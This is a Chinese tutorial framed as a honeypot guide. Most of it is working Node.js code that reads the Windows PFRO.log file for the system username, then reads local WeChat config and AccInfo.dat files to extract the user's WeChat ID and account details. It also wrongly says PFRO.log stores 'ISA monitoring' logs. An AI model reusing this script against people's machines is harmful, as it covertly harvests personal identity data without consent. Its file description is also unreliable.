目录
1. 蜜罐技术介绍
1.1 蜜罐技术是什么
蜜罐技术是一种主动防御技术,通过部署 没有真实业务数据 的系统,诱骗攻击者实施攻击。蜜罐记录攻击过程中的痕迹,如病毒源码、操作手段等,进而提高真是系统的防御力量。
1.2 蜜罐分类
实系统蜜罐 —— 运行着真实的系统,并且带着真实可入侵的漏洞;入侵者每一次入侵都会引起系统真实的反应,例如被溢出、渗透、夺取权限等;但是它记录下的入侵信息往往是最真实的
伪系统蜜罐 —— 利用一些工具程序强大的模仿能力,伪造出不属于自己平台的“漏洞”;因为很少有能同时攻击几种系统的漏洞代码(LSASS 溢出漏洞能拿到 Windows 的权限,却拿不到 Linux 的);它可以最大程度防止被入侵者破坏,也能模拟不存在的漏洞
2. 使用蜜罐技术获取信息
2.1 初始化项目
新建 package.json
npm init -y
安装所需依赖
yarn add ts-node
yarn add @types/node
由于我的电脑装不上 ts-node,所以我下面用 js 写了,不用 ts 了
新建 index.js 入口文件
2.2 读取 PFRO.log 文件
2.2.1 PFRO.log 作用及位置
每个电脑的 C盘/Windows 目录下都存在 PFRO.log 文件
PFRO.log 文件用于:存放 ISA 监控日志的信息,可以因此获取系统用户名
2.2.2 使用 fs 读取 PFRO.log 文件
fs.readFile() 接收两个参数:
- 文件路径
- 回调函数(错误信息,buffer 格式的文件内容)
PFRO.log 对应的字符编码为 utf16le,可将 buffer 数据转换为这种编码的字符串
const fs = require('fs');
/**
* 读取 PFRO.log 日志文件
* @params err 读取时的报错
* @params data 文件内容(buffer 格式,PFRO.log 对应的字符编码为 utf16le,可将 buffer 数据转换为这种编码的字符串)
*/
fs.readFile('C:/Windows/PFRO.log', async (err, data) => {
console.log('打印 PFRO.log 文件内容 ===', data.toString('utf16le'))
})
运行 index.js
node index.js
读取文件内容如下:关键信息为 系统用户名
2.2.3 关于 buffer 与字符编码(扩展)
Buffer 实例一般用于表示编码字符的序列,比如 UTF-8 、 UCS2 、 Base64 、或十六进制编码的数据。 通过使用显式的字符编码,就可以在 Buffer 实例与普通的 JavaScript 字符串之间进行相互转换
const buf = Buffer.from('runoob', 'ascii');
// 输出 72756e6f6f62
console.log(buf.toString('hex'));
// 输出 cnVub29i
console.log(buf.toString('base64'));
Node.js 目前支持的字符编码包括:
- ascii - 仅支持 7 位 ASCII 数据。如果设置去掉高位的话,这种编码是非常快的
- utf8 - 多字节编码的 Unicode 字符。许多网页和其他文档格式都使用 UTF-8
- utf16le - 2 或 4 个字节,小字节序编码的 Unicode 字符。支持代理对(U+10000 至 U+10FFFF)【PFRO.log 文件对应的编码是这个】
- ucs2 - utf16le 的别名
- base64 - Base64 编码
- latin1 - 一种把 Buffer 编码成一字节编码的字符串的方式
- binary - latin1 的别名
- hex - 将每个字节编码为两个十六进制字符
2.3 使用 正则表达式 匹配系统用户名
创建 全局匹配的 正则表达式:
- 转义斜杠 /Users\\/ig
- 使用小括号包裹 Users 与 下一个斜杠 之间的内容(也就是系统用户名),/Users\\()/ig,小括号可以使用 RegExp.$1 解析出来
- 获取 下一个斜杠 前面的内容,也就是取反 ^ ,/Users\\([^\\])/ig
- 字符可能为 0个 或 多个,使用 * 表示,/Users\\([^\\]*)/ig
/**
* 读取 PFRO.log 日志文件,使用 正则表达式 匹配系统用户名
*/
fs.readFile('C:/Windows/PFRO.log', async (err, data) => {
// console.log('打印 PFRO.log 文件内容 ===', data.toString('utf16le'))
// 创建正则表达式
const regRule = /Users\\([^\\]*)/ig
// 匹配 系统用户名的 正则表达式
regRule.test(data.toString('utf16le'))
// 获取系统用户名
const systemUserName = RegExp.$1
console.log('获取系统用户名 systemUserName ===', systemUserName)
})
打印结果:
2.4 通过 系统用户名 获取 微信ID
通过读取 PFRO.log 获取 系统用户名 后,使用 系统用户名 拼接路径,找到微信配置文件
读取微信配置文件,从中获取用户的微信ID
/**
* 通过 系统用户名,获取 微信ID
* @param {*} systemUserName 系统用户名,用于拼接路径
* @returns 微信ID
*/
const getWxId = (systemUserName) => {
// 读取 微信ID 的存储文件
const wxFileData = fs.readFileSync(`C:/Users/${systemUserName}/Documents/WeChat Files/All Users/config/config.data`).toString('utf8')
// 创建正则表达式
const regRule = /Documents\\WeChat Files\\([^\\]*)/ig
// 匹配正则表达式
regRule.test(wxFileData)
// 返回微信ID
return RegExp.$1
}
/**
* 读取 PFRO.log 日志文件
* @params err 读取时的报错
* @params data 文件内容(buffer 格式,PFRO.log 对应的字符编码为 utf16le,可将 buffer 数据转换为这种编码的字符串)
*/
fs.readFile('C:/Windows/PFRO.log', async (err, data) => {
...
// 通过 系统用户名,获取 微信ID
const wxID = getWxId(systemUserName);
console.log('获取微信ID wxID ===', wxID)
})
打印结果:
2.5 通过 系统用户名 + 微信ID 获取用户信息
/**
* 通过 系统用户名 + 微信ID,获取 用户信息
* @param {*} systemUserName 系统用户名,用于拼接路径
* @param {*} wxId 微信ID,用于拼接路径
* @returns 用户信息
*/
const getUserData = (systemUserName, wxId) => {
// 读取 用户信息 的存储文件
const userFileData = fs.readFileSync(`C:/Users/${systemUserName}/Documents/WeChat Files/${wxId}/config/AccInfo.dat`).toString('utf-8')
// 返回用户信息
return userFileData
}
/**
* 读取 PFRO.log 日志文件
*/
fs.readFile('C:/Windows/PFRO.log', async (err, data) => {
...
// 通过 系统用户名 + 微信ID,获取 用户信息
const userInfos = getUserData(systemUserName, wxID);
console.log('获取用户信息 userInfos ===', userInfos)
})
打印结果: